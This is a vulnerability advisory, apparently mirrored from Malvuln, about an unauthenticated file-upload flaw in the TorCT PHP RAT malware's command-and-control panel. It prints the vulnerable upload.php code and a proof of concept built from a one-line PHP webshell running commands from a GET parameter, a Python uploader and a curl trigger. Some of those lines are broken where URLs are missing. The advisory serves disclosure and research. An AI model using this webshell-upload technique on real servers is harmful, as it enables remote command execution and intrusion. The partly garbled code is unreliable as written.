BuilderTorCTPHPRAT.b Shell Upload

CVE Category Price Severity
N/A CWE-434 N/A High
Author Risk Exploitation Type Date
N/A High Remote 2022-03-17
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

BuilderTorCTPHPRAT.b Shell Upload
Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: BuilderTorCTPHPRAT.b
Vulnerability: Arbitrary File Upload - RCE
Type: WebUI
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)
MD5: b54822058a3ed33c673d06113b453ebe (upload.php)
Vuln ID: MVID-2022-0519
Disclosure: 03/17/2022
Description: The TorCT client malwares web-panel allows unauthenticated uploads and does not check the expected file type E.g. ".png". Third-party attackers who can reach the server can upload their own backdoor PHP webshell and execute any commands on the malwares C2 server.

"upload.php" vulnerable code:

$DelOrNot = $_GET['D'];

if ($DelOrNot == "true")


$uploadDir = 'Upload/'; 
$uploadFile = $uploadDir . basename($_FILES['file']['name']);
if (is_uploaded_file($_FILES['file']['tmp_name'])) 
    echo "File ". $_FILES['file']['name'] ." is successfully uploaded!\r\n";
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) 
        echo "File is successfully stored! ";
    else print_r($_FILES);
    echo "Upload Failed!";

1) Create PHP webshell "pwn.php",  exec($_GET['cmd']);

2) Create Python uploader ""
import requests


files = {'file': open('pwn.php', 'rb')}
r =, files=files)
if r.status_code==200:
    print("TorCTPHPRAT PWNED!")

3) Exploit
curl ""

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum